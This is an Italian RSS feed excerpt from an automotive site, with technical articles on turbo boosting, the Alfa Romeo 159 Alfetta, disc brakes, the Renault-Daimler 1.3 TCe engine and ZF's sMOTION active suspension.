<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80824" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/maxresdefault-300x169.jpg" alt="maxresdefault" width="300" height="169" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 804">Fin  qui la tecnologia di oggi, ma il domani?   il futuro è ibrido anche per i turbo. L&#8217;Audi è stata la prima ad usare un supporto elettrico per ridurre il turbo lag migliorando il rendimento. L<strong>&#8216;eBooster </strong>è composto da un compressore centrifugo movimentato da un motore elettrico a 48 Volt. Questa soluzione permette la gestione della portata d’aria ai cilindri indipendentemente dalla velocità di rotazione del motore riducendo al minimo il turbo-lag. Ma la <strong>Ferrari</strong> è andata oltre, separando completamente la girante mossa dai gas di scarico con quella di compressione dell&#8217;aria. La prima viene collegata da un motore elettrico che funge da generatore, la seconda prende energia da un secondo motore elettrico che la muove in modo assolutamente indipendente dalla forza dei gas di scarico potendo contare sull&#8217;energia elettrica accumulata dalla girante di scarico. In questo modo il livello di pressione e la durata della sovralimentazione vengono gestiti da un controllo elettronico.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80825" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/Ferrari-design-epo-300x178.png" alt="Ferrari design epo" width="300" height="178" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 805">Rimangono da chiarire i dubbi circa l&#8217;affidabilità. Henry Ford asseriva che se un componente non c&#8217;è non si può rompere. Viene da tremare i polsi al pensiero che il turbo,  che è comunque un accessorio esterno al motore, si può rompere, ed in certi casi c&#8217;è ne sono due. In effetti la grande diffusione di questi sistemi oltre a creare concorrenza nello sviluppo,  ha costretto i produttori ad avere una maggiore affidabilità nelle componenti. Diffondere i turbo sulle utilitarie, ha consentito di poter avere costi di approvvigionamento migliori per i produttori abbassando i costi di riparazione per i clienti. Oggi un turbo prima di essere sostituito si revisiona come ogni componente esterno come potrebbe essere una pompa del gasolio o altro.</p>
<p style="text-align: justify;">La carrellata di applicazioni che si sono trattate in questo articolo volevano essere una sorta di elenco indice di ciò che la tecnologia più avanzata sta adoperando per migliorare l&#8217;efficienza del motore endotermico, il quale è ben lungi dal gettare la spugna rispetto alla sfida lanciata dall&#8217;elettrico. Ognuno dei sistemi descritti sommariamente sarà sviluppato nel suo dettaglio con articoli appositi, un modo da dare un idea molto più dettagliata e precisa del funzionamento delle tecnologie applicate.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Monoposto leggendarie: Alfa Romeo Tipo 159</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Sat, 02 Feb 2019 12:20:56 +0000</pubDate>
				<category><![CDATA[Formula 1]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[159]]></category>
		<category><![CDATA[alfaromeo]]></category>
		<category><![CDATA[fangio]]></category>
		<category><![CDATA[formula 1]]></category>
		<category><![CDATA[monoposto leggendarie]]></category>
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					<description><![CDATA[<p>Nel 1950, Farina e Fagioli pilotavano una vettura con propulsore ad otto cilindri e compressore, dal nome Alfetta, che a quel tempo aveva già compiuto dodici anni. Quando la Daimler Benz e l&#8217;Auto Union alla metà degli anni 30 dettavano legge sulle piste, l&#8217;ingegnere Giocacchino Colombo fece i primi schizzi di una nuova vettura da [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img decoding="async" class="alignleft size-full wp-image-80835" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/800px-Alfa_Romeo_Alfetta_159_Arese_20070608.jpg" alt="800px Alfa Romeo Alfetta 159 Arese 20070608" width="800" height="469" title="Monoposto leggendarie: Alfa Romeo Tipo 159 809" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/02/800px-Alfa_Romeo_Alfetta_159_Arese_20070608.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2019/02/800px-Alfa_Romeo_Alfetta_159_Arese_20070608-768x450.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/02/800px-Alfa_Romeo_Alfetta_159_Arese_20070608-300x176.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/02/800px-Alfa_Romeo_Alfetta_159_Arese_20070608-696x408.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" />Nel 1950, Farina e Fagioli pilotavano una vettura con propulsore ad otto cilindri e compressore, dal nome Alfetta, che a quel tempo aveva già compiuto dodici anni. Quando la Daimler Benz e l&#8217;Auto Union alla metà degli anni 30 dettavano legge sulle piste, l&#8217;ingegnere Giocacchino Colombo fece i primi schizzi di una nuova vettura da corsa, costruita successivamente nel 1937, presso la Scuderia Ferrari di Modena.</p>
<p>Con una cilindrata di 1479 cc, il propulsore ad otto cilindri con compressore, erogava inizialmente 195 cavalli a 7200 giri/minuto. Per dare alle vetture italiane qualche possibilità di vittoria contro quelle tedesche, nel 1939 venne indetto il GP di Tripoli per vetture da corsa da 1,5 litri. Ma la Mercedes costruì in sei mesi scarsi una vettura da corsa completamente nuova e l&#8217;Alfetta e la Maserati furono nuovamente sconfitte.</p>
<p>Nel 1943 c&#8217;erano già sette Alfetta pronte e quando le truppe tedesche confiscarono il circuito di Monza per provare il loro parco veicoli, l&#8217;Automobilclub di Milano riuscì all&#8217;ultimo momento a far sparire tutte le Alfetta, che sopravvissero alla guerra nel paese di Melzo. Le Alfa Romeo Tipo 158 vennero riesumate pe una gara a Parigi, il 9 giugno del 1946, e conquistarono fino al 1951 un vittoria dopo l&#8217;altra.</p>
<p><img decoding="async" class="alignleft size-full wp-image-80836" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/Alfa-Romeo-159-1951.jpg" alt="Alfa Romeo 159 1951" width="800" height="600" title="Monoposto leggendarie: Alfa Romeo Tipo 159 810" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/02/Alfa-Romeo-159-1951.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2019/02/Alfa-Romeo-159-1951-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2019/02/Alfa-Romeo-159-1951-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/02/Alfa-Romeo-159-1951-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2019/02/Alfa-Romeo-159-1951-265x198.jpg 265w" sizes="(max-width: 800px) 100vw, 800px" />Nei primi due Campionati di Formula 1, le Alfa vinsero 10 dei 13 Gran Premi disputati. Nino Farina si aggiudicò con questa vittoria il primo Campionato Mondiale di Formula 1 mel 1950. Nel 1951 Fangio pilotò l&#8217;ultima versione, l&#8217;Alfetta 159, portandola alla vittoria nel Mondiale. La potenza era di 430 cavalli a 9300 giri/minuto, i due compressori da soli erogavano ben 135 cavalli e il consumo di carburante era aumentato a 120 litri per 100 chilometri.</p>
<p>Tuttavia l&#8217;alfetta si stava avviando verso il tramonto. Nel 1951, le vetture con il quadrifoglio nel triangolo bianco, tornarono da Silverstone per la prima volta sconfitte dopo cinque stagioni: erano state battute da Gonzales, su una Ferrari con motore aspirato.</p>
<p>L&#8217;Alfa Romeo 159 lascia un segno indelebile nella storia della Formula 1, perché è stata l&#8217;auto alla cui guida il leggendario Fangio si è aggiudicato il suo 1º titolo mondiale, ed infine, perché, al termine della stagione 1951, l&#8217;Alfa Romeo, ormai paga dei risultati ottenuti, ma, soprattutto, impegnata nel rilanciare la propria produzione di vetture di serie, decide di ritirarsi dalla Formula 1. Vi rientrerà 20 anni dopo, nel 1971, con una esperienza brevissima e non fortunata di fornitrice di motori (il motore 8 cilindri a V della vettura sport Alfa Romeo 33/3) alle March 711 di Andrea De Adamich e Nanni Galli. Ma il vero rientro ufficiale della casa milanese nel mondo della Formula 1 porta la data del 26 ottobre 1975, quando, sulla pista sperimentale di Balocco, verrà presentata alla stampa la Brabham-Alfa Romeo BT45.</p>
<p><strong>DETTAGLI VETTURA</strong><br />
<img decoding="async" class="alignleft size-full wp-image-80837" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/images.jpg" alt="images" width="264" height="191" title="Monoposto leggendarie: Alfa Romeo Tipo 159 811">Motore<br />
Anteriore, longitudinale verticale, 8 cilindri in linea, biblocco e teste in lega leggera, 2 valvole per cilindro, 2 alberi a camme in testa con comando a ingranaggi. Alimentazione a carburatore, triplo corpo e 1 compressorie volumetrico, accensione a 2 magneti, lubrificazione a carter secco.</p>
<p>Cilindrata (CC)<br />
1479 cc (58&#215;70 mm)</p>
<p>Potenza e Coppia<br />
350 CV a 8500 giri/min.</p>
<p>Trasmissione<br />
Trazione posteriore, frizione anteriore, pluridisco a secco, 4 marce + RM posteriore</p>
<p>Telaio<br />
Longheroni tubolari etraverse in lamiera, saldati</p>
<p>Carrozzeria<br />
Gran Premio<br />
Sospensioni<br />
Anteriore: ruote indipendenti, bracci longitudinali, balestra trasversale, ammortizzatori idraulici e a frizione. Posteriore: ruote indipendenti, braccio longitudinale, balestra trasversale, ammortizzatori idraulici e a frizione.</p>
<p>Freni<br />
Idraulici a tamburo sulle 4 ruote</p>
<p>Dimensioni<br />
Passo: 2500 mm, lunghezza: 4150 mm, larghezza: 1570 mm</p>
<p>Peso<br />
620 kg</p>
<p>Massima velocità<br />
290 km/h</p>
<p>Vetture Prodotte<br />
4</p>
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		<title>Tecnica: tutto sui freni a disco dell’auto</title>
		<link>https://www.giornalemotori.com/2018/08/15/tutto-sui-freni-a-disco-dellauto/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=tutto-sui-freni-a-disco-dellauto</link>
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		<dc:creator><![CDATA[Danny Garbin]]></dc:creator>
		<pubDate>Wed, 15 Aug 2018 15:09:17 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[freni a disco]]></category>
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					<description><![CDATA[<p>Tutti sappiamo dell’importanza&#160;dei freni dell’auto per la nostra sicurezza. Non tutti, però, sanno cosa sono e&#160;come funzionano esattamente i&#160;freni a disco. Basta, però, cercare su siti specializzati dischi freno per capire meglio di cosa si tratta. Ne abbiamo già parlato in altre trattazioni prettamente tecniche e qui daremo lo spunto per ripassare un pò di [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Tutti sappiamo dell’importanza&nbsp;dei freni dell’auto per la nostra sicurezza. Non tutti, però, sanno cosa sono e&nbsp;come funzionano esattamente i&nbsp;freni a disco. Basta, però, cercare su siti specializzati <strong>dischi freno</strong> per capire meglio di cosa si tratta.</p>



<p class="wp-block-paragraph">Ne abbiamo già parlato in altre trattazioni prettamente tecniche e qui daremo lo spunto per ripassare un pò di cosette interessanti. Sbirciate nei link segnalati e troverete moltissime informazioni.</p>



<p class="wp-block-paragraph">I&nbsp;<a href="https://www.giornalemotori.com/2017/01/15/freni-disco-materali/"><strong>freni a disco</strong></a>&nbsp;sono caratterizzati dalla presenza di&nbsp;un&nbsp;disco su cui esercita la sua azione una pinza che ospita le pastiglie frenanti,&nbsp;costituite da&nbsp;una base metallica su cui è applicato uno strato di materiale&nbsp;d’attrito, e che in fase di frenata vengono premute contro il disco.</p>



<p class="wp-block-paragraph">I freni a disco hanno ormai&nbsp;quasi completamente sostituito quelli a <strong><a href="https://www.giornalemotori.com/2017/01/05/freni-tamburo/">tamburo</a></strong>: questi ultimi vengono ancora&nbsp;utilizzati (ma solo per la ruota&nbsp;posteriore) per gli scooter di bassa&nbsp;cilindrata e per molte utilitarie, per motivi economici e per la loro massa&nbsp;ridotta.</p>



<p class="wp-block-paragraph">Fate molta attenzione: tutto&nbsp;questo non dipende dal fatto che i freni a tamburo abbiano una forza di frenata&nbsp;minore, anzi!&nbsp;Il problema è che in&nbsp;frenata raggiungono&nbsp;temperature altissime, che rischiano di rovinarli e deformarli, rendendoli meno&nbsp;sicuri&nbsp;(vengono utilizzati sulle ruote posteriori&nbsp;proprio&nbsp;perché in frenata lavorano meno di quelle anteriori).</p>



<p class="wp-block-paragraph">Elementi costruttivi&nbsp;importanti su cui focalizzare la nostra attenzione sono: i&nbsp;dischi,&nbsp;le&nbsp;pinze, i&nbsp;pistoncini&nbsp;e&nbsp;le&nbsp;pastiglie. Direttamente&nbsp;sull’asse&nbsp;delle ruote è montato un grosso disco in metallo che gira insieme&nbsp;alla ruota. A cavallo di questo disco, lateralmente, è alloggiata una parte&nbsp;meccanica complessa che prende il nome di pinza. All’interno della pinza sono&nbsp;alloggiati pistoncini e&nbsp;pastiglie,&nbsp;degli elementi composti da&nbsp;una base in metallo (generalmente ghisa) e da uno&nbsp;strato, una superficie di contatto realizzata in materiale detto composito&nbsp;(detta anche&nbsp;ferodo).</p>



<p class="wp-block-paragraph">Quando pigiamo il pedale del&nbsp;freno, da una apposita vaschetta viene pompato alle pinze dell’olio in&nbsp;pressione. La forza idraulica dell’olio&nbsp;farà muovere degli elementi che si&nbsp;trovano alloggiati dentro le pinze: i pistoncini. Questi elementi spingeranno a&nbsp;loro volta con forza le&nbsp;pastiglie sulla superficie del disco, generando un&nbsp;attrito che, di fatto, si materializzerà nella frenata vera e propria. Questo&nbsp;modello di freni&nbsp;ha il vantaggio di essere&nbsp;abbastanza&nbsp;efficace, ma ha una&nbsp;durata nel tempo&nbsp;inferiore&nbsp;a causa dell’usura sia delle pastiglie, come&nbsp;anche dei&nbsp;dischi.</p>



<p class="wp-block-paragraph">I dischi freno vanno&nbsp;sostituiti&nbsp;in genere ogni tre cambi di pastiglie&nbsp;ma&nbsp;non si può stabilire un intervallo certo senza considerare lo stile di guida,&nbsp;il modello dell’auto e le strade percorse. Per i freni posteriori con impianto&nbsp;di frenata a tamburo, questo deve essere controllato ogni anno e&nbsp;le parti che&nbsp;vengono sostituite sono le&nbsp;ganasce e i cilindretti,&nbsp;che di solito hanno un costo più contenuto.</p>



<p class="wp-block-paragraph">Insomma, questo è che compongono l’impianto frenante della nostra&nbsp;vettura e che, quindi, ci aiutano&nbsp;durante la guida e sono a dir poco&nbsp;fondamentali per la nostra sicurezza.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2018/08/15/tutto-sui-freni-a-disco-dellauto/">Tecnica: tutto sui freni a disco dell’auto</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz</title>
		<link>https://www.giornalemotori.com/2018/07/25/best-engine-il-motore-1-3-tce-frutto-della-collaborazione-di-renault-e-daimler-benz/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-il-motore-1-3-tce-frutto-della-collaborazione-di-renault-e-daimler-benz</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 25 Jul 2018 09:19:10 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<guid isPermaLink="false">https://www.giornalemotori.com/?p=75587</guid>

					<description><![CDATA[<p>Si potrebbe pensare che gruppi come Renault-Nissan-Mitsubishi e Daimler-Benz quando si unisco lo fanno per progettare un motore per una supercar, o per condividere concetti tecnologici per il futuro dell'automotive</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2018/07/25/best-engine-il-motore-1-3-tce-frutto-della-collaborazione-di-renault-e-daimler-benz/">Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-75614" src="https://www.giornalemotori.com/wp-content/uploads//2018/07/6-e1532508715366.jpg" alt="6 e1532508715366" width="500" height="282" title="Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz 812" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/07/6-e1532508715366.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/07/6-e1532508715366-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" />Si potrebbe pensare che gruppi come Renault-Nissan-Mitsubishi e Daimler-Benz quando si unisco lo fanno per progettare un motore per una supercar, o per condividere concetti tecnologici per il futuro dell&#8217;automotive. Invece i due colossi si sono uniti per progettare il piccolo quattro cilindri 1.3 litri turbo destinato alla gamma segmento B-C e relative derivate come SUV e crossover. Come due costruttori di due nazioni diverse che devono realizzare un infrastruttura stradale come una galleria, ad ognuno dei due staff tecnici è stato imposto un progetto per poi congiungere unendo le due soluzioni incontrandosi a metà strada.  Alla Mercedes è toccato sviluppare la parte alta del motore quella della testa e della distribuzione, mentre ai franco-nipponici è toccato lavorare sulla parte bassa, quella del monoblocco, il manovelismo ed i cilindri.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-75615" src="https://www.giornalemotori.com/wp-content/uploads//2018/07/couple_puissance_1.3l_TCe_-e1532508784197.jpg" alt="couple puissance 1.3l TCe e1532508784197" width="500" height="327" title="Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz 813" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/07/couple_puissance_1.3l_TCe_-e1532508784197.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/07/couple_puissance_1.3l_TCe_-e1532508784197-300x196.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" />I due progetti si incontrano nello sviluppo della camera di combustione,  vero e proprio punto di collegamento dei due lavori di progettazione.  Il 1.3 Tce viene sviluppato con tre livelli di potenza, 115cv a 5000 Rpm per una coppia di 220Nm a 1500 Rpm, poi una versione intermedia da  140cv a 5000 Rpm per una coppia di 240 Nm a 1600 Rpm ed il più potente 160cv a 5500 Rpm con 275 Nm a 1800 Rpm. Partendo dalla testa, il propulsore adotta un sistema a variazione di fase per le valvole si aspirazione ma soprattutto anche per quelle di scarico, una soluzione rara utilizzata per altri propulsori di ben altre prestazioni come il VTEC 2.0 Litri Honda. L&#8217;albero a camme sia in aspirazione che scarico assume infatti tre Infatti 3 posizioni con angoli diversi consentendo di ottenere valori di anticipo e ritardo a seconda delle esigenze fino a 40° .</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-75616" src="https://www.giornalemotori.com/wp-content/uploads//2018/07/maxresdefault-2-e1532508829964.jpg" alt="maxresdefault 2 e1532508829964" width="500" height="281" title="Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz 814" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-2-e1532508829964.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-2-e1532508829964-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /> Avere un alzata variabile anche delle valvole di scarico, consente la gestione della combustione della miscela in modo ottimale potendo gestire al meglio la fase si incrocio delle valvole, consentendo un migliore riempimento e svuotamento della camera di combustione. L&#8217;alimentazione avviene tramite iniezione diretta di benzina con iniettori dedicati con 250 bar di pressione. l nuovo disegno della testa motore lo rende compatibile con ogni tipo di vano motore soprattutto per le vetture più compatte, ed una migliore funzionalità in fase di produzione. La forma triangolare, o delta come piace chiamarla ai tecnici Renault rende la parte alta del propulsore più compatta, riuscendo a centrate all&#8217;interno della propria sagoma anche accessori come il collettore di aspirazione e quello di scarico che in questo caso con geometria specifica. Una scelta questa che appare complessa dal punto di vista progettuale, ma che garantisce,  potendo sfruttare al meglio l&#8217;alzata della valvole allo scarico differenziato,  di sfruttare l&#8217;energia dei gas di scarico per alimentare al meglio la turbina limitandone il ritardo.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-75617" src="https://www.giornalemotori.com/wp-content/uploads//2018/07/maxresdefault-5-e1532508876134.jpg" alt="maxresdefault 5 e1532508876134" width="500" height="281" title="Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz 815" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-5-e1532508876134.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-5-e1532508876134-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /> <span lang="it">Il nuovo motore TCe sfrutta al massimo le possibilità offerte dalla collaborazione con Nissan utilizzando il Mirror Bore Coating, una tecnologia di rivestimento dei cilindri già utilizzata per il motore Nissan GT-R. Questo procedimento consente non usare canne dei cilindri in acciaio, inserite per interferenza come succede nella stragrande maggioranza dei motori endotermici, ma utilizza una torcia al plasma per polverizzare materiale e depositarlo sulle pareti del cilindri in alluminio. Il rivestimento che viene deposto di circa 0.2 decimi di millimetro di spessore, consente di ottenere una canna cilindri con maggiore efficienza. Come molti appassionati sanno,  la potenza non è una formula a se stante ma dipende dal rendimento del propulsore, cioè la capacità dello stesso di sfruttare al massimo l&#8217;energia fornita dalla combustione. </span></p>
<p style="text-align: justify"><span lang="it"><img decoding="async" class="alignleft size-full wp-image-75618" src="https://www.giornalemotori.com/wp-content/uploads//2018/07/maxresdefault-6-e1532508921958.jpg" alt="maxresdefault 6 e1532508921958" width="500" height="281" title="Best Engine: Il motore 1.3 Tce frutto della collaborazione di Renault e Daimler-Benz 816" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-6-e1532508921958.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/07/maxresdefault-6-e1532508921958-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" />Le perdite possono essere di vario tipo. Uno dei rendimenti più importanti è quello meccanico, dove gli attriti fra i componenti fanno perdere efficienza. Una canna cilindro con un attrito migliorato consente da sola di ottenere valori di potenza più alti pur abbassando i consumi e la CO2 emessa. Inoltre tale tecnologia, consente di poter offrire un livello di affidabilità sconosciuto ai motori con le tecnologie classiche. Questa soluzione consente anche di tenere sotto controllo la dispersione di calore consentendo di creare intercapedini di raffreddamento di disegno meno complesso e di avere una necessità di lubrificazione ridotta attraverso pompe a portata variabile. Infine il comparto Turbo, che fa a meno della valvola Westgate per la gestione sella sovrapressione di tipo meccanico, affidando il suo controllo ad un sistema elettronico. Infatti attraverso l&#8217;azione di un motorino elettrico che comanda l&#8217;asta, la valvola viene aperta e chiusa esattamente in base alle esigenze di utilizzo del motore. In questo modo si ha una gestione della pressione effettiva e dei picchi di overboost che garantiscono una migliore risposta ai bassi regimi, tenendo una pressione costante ed un buon allungo anche agli alti regimi. </span></p>
<p style="text-align: justify">In conclusione si può dire che l&#8217;unione fa la forza. I due colossi dell&#8217;auto hanno portato per la prima volta in un segmento più accessibile per la maggior parte dei propri clienti un tipo di tecnologia che prima era riservata solo alle vetture ad altissime prestazioni. Come va su strada questo propulsore nelle potenze da 140cv e 160cv sulla nuova Renault Scenic lo potrete scoprire nelle prossime settimane attraverso una prova su strada approfondita.</p>
<p><strong>Daniele Amore</strong></p>
<p>https://www.youtube.com/watch?v=FXKzFNZ7gzY</p>
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		<title>ZF sMotion: L&#8217;innovativo sistema per il controllo delle sospensioni attive</title>
		<link>https://www.giornalemotori.com/2018/06/22/zf-smotion-linnovativo-sistema-per-il-controllo-delle-sospensioni-attive/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=zf-smotion-linnovativo-sistema-per-il-controllo-delle-sospensioni-attive</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 22 Jun 2018 14:52:08 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Oggi al ZF, azienda leader nella produzione di componentistica per autmotive, fornitore delle maggiori case automobilistiche ha proposto la sua soluzione per un nuovo sistema di sospensioni completamente attive sMOTION, un sistema in grado di ridurre i movimenti indesiderati della scocca dovuti a buche, dossi o curve</p>
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<p style="text-align: justify"><img decoding="async" class="alignleft size-full wp-image-75121" src="https://www.giornalemotori.com/wp-content/uploads//2018/06/ZF_sMOTION_04-e1529678276115.jpg" alt="ZF sMOTION 04 e1529678276115" width="500" height="707" title="ZF sMotion: L&#039;innovativo sistema per il controllo delle sospensioni attive 817" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_04-e1529678276115.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_04-e1529678276115-300x424.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" />Se c&#8217;è un componente che di cui non finiremo mai di elogiare nel momento in cui ci viene proposta una vettura per un test drive sono le sospensioni attive. La possibilità di combinare parametri di assorbimento delle sospensioni pur salvaguardando aspetti come sicurezza, confort, combinandoli con le esigenze di sportività rende quasi indispensabile la scelta da parte del cliente di questo accessorio quando è presente nella gamma o nel listino optional.  Oggi al ZF, azienda leader nella produzione di componentistica per autmotive, fornitore delle maggiori case automobilistiche ha proposto la sua soluzione per un nuovo sistema di sospensioni completamente attive sMOTION, un sistema in grado di ridurre i movimenti indesiderati della scocca dovuti a buche, dossi o curve.  Con sMOTION, si possono realizzare i vantaggi della guida altamente automatizzata ed autonoma consentendo agli occupanti dei veicoli di viaggiare maggiormente rilassati durante la marcia.  La presenza di un attuatore intelligente consente il controllo attivo delle singole ruote, essendo in grado di adattare il movimento della sospensione ad ogni situazione di marcia e caratteristica del manto stradale. Inoltre, sMOTION offre ai costruttori una capacità di adattamento facilitato grazie ad alle interfacce modulari, adattandosi facilmente ad ogni tipologia di veicolo. IL sistema di ZF si pone l&#8217;obiettivo di ridurre uno degli annosi problemi che il viaggio in auto si porta dietro da sempre, il mal d&#8217;auto soprattutto per i passeggeri, maggiormente colpiti in quanto non impegnati e concentrati sulla guida.  Il controllo di tutti i movimenti della scocca, ha lo scopo di migliorare questo aspetto del confort per gli occupanti in modo radicale e definitivo.</p>
<p><figure id="attachment_75122" aria-describedby="caption-attachment-75122" style="width: 500px" class="wp-caption alignleft"><img decoding="async" class="size-full wp-image-75122" src="https://www.giornalemotori.com/wp-content/uploads//2018/06/ZF_sMOTION_03-e1529678332883.jpg" alt="ZF sMOTION 03 e1529678332883" width="500" height="313" title="ZF sMotion: L&#039;innovativo sistema per il controllo delle sospensioni attive 818" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_03-e1529678332883.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_03-e1529678332883-300x188.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption id="caption-attachment-75122" class="wp-caption-text">ZF Friedrichshafen AG: sMotion in Hockenheim</figcaption></figure></p>
<p style="text-align: justify">In sostanza attraverso gli ammortizzatori intelligenti sMOTION di ZF, è possibile eliminare quasi completamente i fastidiosi movimenti e le vibrazioni dovuti al manto stradale, rendendo il sistema utile per limitare gli urti causati da grandi buche o irregolarità, e dimostrandosi efficace anche per il controllo di movimenti come beccheggio durante le frenate e le accelerate, oppure il rollio e l’imbardata durante il cambio di corsia o nella percorrenza delle curve. Il sistema sMOTION per gestire i movimenti del telaio sfrutta un’unità pompa-motore elettrico, molto compatta ed esterna con elettronica integrata che lavora come attuatore bidirezionale su ogni ruota. Questo attuatore è capace di alzare ed abbassare lo stelo dell’ammortizzatore individualmente su ogni ruota. La tecnologia ZF consente un maggiore controllo di tutti i movimenti a bassa frequenza della scocca, soprattutto nella percorrenza delle curve, bilanciando il movimento delle ruote quando queste vengono ritratte e quelle esterne estratte, mantenendo l’autovettura con un assetto orizzontale. Lo stesso vale in caso di dossi lunghi soprattutto quando hanno una sollecitazione di tipo asimmetrico per la scocca.</p>
<p style="text-align: justify">
<p><figure id="attachment_75123" aria-describedby="caption-attachment-75123" style="width: 500px" class="wp-caption alignleft"><img decoding="async" class="size-full wp-image-75123" src="https://www.giornalemotori.com/wp-content/uploads//2018/06/ZF_sMOTION_02-e1529678391469.jpg" alt="ZF sMOTION 02 e1529678391469" width="500" height="298" title="ZF sMotion: L&#039;innovativo sistema per il controllo delle sospensioni attive 819" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_02-e1529678391469.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_02-e1529678391469-300x179.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption id="caption-attachment-75123" class="wp-caption-text">ZF Friedrichshafen AG: sMotion in Hockenheim</figcaption></figure></p>
<p style="text-align: justify">Il sistema collegato in rete con sensori ambientali, tipo telecamere,  è in grado di individuare in anticipo le caratteristiche del manto stradale e di preparare gli attuatori adattandosi mantenendo attivamente la ruota interessata all’altezza della sede stradale anziché lasciarla cadere all’interno dell’avvallamento come farebbe un ammortizzatore tradizionale. Inoltre, sMOTION rende possibile il livellamento dinamico dell’altezza da terra per ogni specifico asse o lato, così come per l’intero sottoscocca. L&#8217; sMOTION riesce a compensare anche asperità particolarmente difficili come chiusini, giunti trasversali, asfalto ruvido o ghiaia. Attraverso la tecnologia Continuous Damping Control (CDC), varia in maniera attiva e continua le caratteristiche di guida e di handling tra una taratura di tipo duro per migliorare la stabilità e alla dinamica di guida oppure morbide più orientate al comfort.</p>
<p><figure id="attachment_75124" aria-describedby="caption-attachment-75124" style="width: 500px" class="wp-caption alignleft"><img decoding="async" class="size-full wp-image-75124" src="https://www.giornalemotori.com/wp-content/uploads//2018/06/ZF_sMOTION_01-e1529678489793.jpg" alt="ZF sMOTION 01 e1529678489793" width="500" height="334" title="ZF sMotion: L&#039;innovativo sistema per il controllo delle sospensioni attive 820" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_01-e1529678489793.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2018/06/ZF_sMOTION_01-e1529678489793-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption id="caption-attachment-75124" class="wp-caption-text">ZF Friedrichshafen AG: sMotion in Hockenheim</figcaption></figure></p>
